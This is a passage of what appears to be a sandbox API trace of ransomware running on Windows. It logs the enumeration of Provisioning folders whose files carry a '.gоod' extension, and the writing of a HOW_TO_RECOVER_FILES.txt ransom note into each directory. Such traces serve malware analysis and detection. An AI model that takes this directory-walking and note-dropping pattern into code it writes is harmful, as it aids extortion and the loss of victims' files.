lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.915] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0141.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0141.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0141.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0141.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.916] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fccad5b, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3fccad5b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3fccad5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0141.917] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0141.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0141.917] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0141.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0141.917] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.918] GetFileType (hFile=0x618) returned 0x1 [0141.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0141.918] GetFileType (hFile=0x618) returned 0x1 [0141.919] WriteFile (in: hFile=0x618, lpBuffer=0x38db5e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x38db5e0*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0141.919] CloseHandle (hObject=0x618) returned 1 [0141.920] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0141.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0141.920] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.920] GetFileType (hFile=0x618) returned 0x1 [0141.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0141.921] GetFileType (hFile=0x618) returned 0x1 [0141.921] WriteFile (in: hFile=0x618, lpBuffer=0x38deee8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x38deee8*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.922] CloseHandle (hObject=0x618) returned 1 [0141.922] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0141.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0141.922] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0141.923] GetFileType (hFile=0x618) returned 0x1 [0141.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0141.923] GetFileType (hFile=0x618) returned 0x1 [0141.924] WriteFile (in: hFile=0x618, lpBuffer=0x38e27e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x38e27e0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0141.924] CloseHandle (hObject=0x618) returned 1 [0141.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.925] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x50 [0141.925] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40a808b2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40a808b2, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x407f80b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.925] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40a808b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40fb7b2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40fb7b2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0141.926] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.926] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}", lpFilePart=0x0) returned 0x50 [0141.926] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.926] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x407f80b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40a808b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40fb7b2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.927] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.928] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x55 [0141.928] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40fb7b2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x40fb7b2e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.929] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov", lpFilePart=0x0) returned 0x55 [0141.929] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4185c37c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4185c37c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4185c37c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", 